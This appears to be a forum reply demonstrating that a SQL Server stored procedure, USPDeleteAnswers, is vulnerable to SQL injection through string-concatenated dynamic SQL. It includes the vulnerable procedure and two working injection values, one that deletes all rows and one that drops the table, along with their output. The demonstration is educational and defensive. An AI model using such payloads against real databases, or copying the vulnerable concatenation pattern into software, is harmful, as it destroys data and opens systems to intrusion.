You really seem to be missing the point, and your posts didn't address the specific example I posted.
I just ran this script creating the table, loading some rows into it, creating your stored proc, followed by a two executes of proc USPDeleteAnswers with my input parameters.
print '--- Create table tblUserAnswer'
create table tblUserAnswer (Id varchar(20), QuestionId int not null)
go
print '--- Load 3 rows into the table tblUserAnswer'
insert into tblUserAnswer select '1', 2 union all select '3',4 union all select '5',6
go
CREATE PROCEDURE USPDeleteAnswers
@Id varchar(50),
@QId varchar(100)
AS
DECLARE @SQL nvarchar(255)
SET @SQL = 'DELETE FROM tblUserAnswer where Id = ''' + @Id + ''' and QuestionId in (' + @QId + ' )'
PRINT @SQL ---- delete after testing
EXEC sp_executesql @SQL
go
print '--- Delete all rows from tblUserAnswer'
Execute USPDeleteAnswers @Id = 'abc', @QId = ' 1,3 ) or 1 = 1 -- '
go
print '--- Get count of remaining rows in table tblUserAnswer'
select count(*) from tblUserAnswer
go
print '--- Delete all rows from tblUserAnswer and then drop table tblUserAnswer '
Execute USPDeleteAnswers @Id = 'abc', @QId = ' 1,3 ) or 1 = 1; drop table tblUserAnswer -- '
go
print '--- Verify table tblUserAnswer has been deleted'
exec sp_help 'tblUserAnswer'
go
drop PROCEDURE USPDeleteAnswers
go
-- drop table if it still exists
if object_id('tblUserAnswer','U') is not null drop table tblUserAnswer
Notice the following results it produced:
--- Create table tblUserAnswer
--- Load 3 rows into the table tblUserAnswer
(3 row(s) affected)
--- Delete all rows from tblUserAnswer
DELETE FROM tblUserAnswer where Id = 'abc' and QuestionId in ( 1,3 ) or 1 = 1 -- )
(3 row(s) affected)
--- Get count of remaining rows in table tblUserAnswer
-----------
0
(1 row(s) affected)
--- Delete all rows from tblUserAnswer and then drop table tblUserAnswer
DELETE FROM tblUserAnswer where Id = 'abc' and QuestionId in ( 1,3 ) or 1 = 1; drop table tblUserAnswer -- )
(0 row(s) affected)
--- Verify table tblUserAnswer has been deleted
Msg 15009, Level 16, State 1, Procedure sp_help, Line 66
The object 'tblUserAnswer' does not exist in database 'tempdb' or is invalid for this operation.
The DELETE statement produced by the first call was a valid statement that resulted in deleting all rows in table tblUserAnswer because the 1 = 1 condition is always true.
The DELETE statement produced by the second call was actually able to drop the table.
As you can see, this was a really routine SQL Injection 101 attack.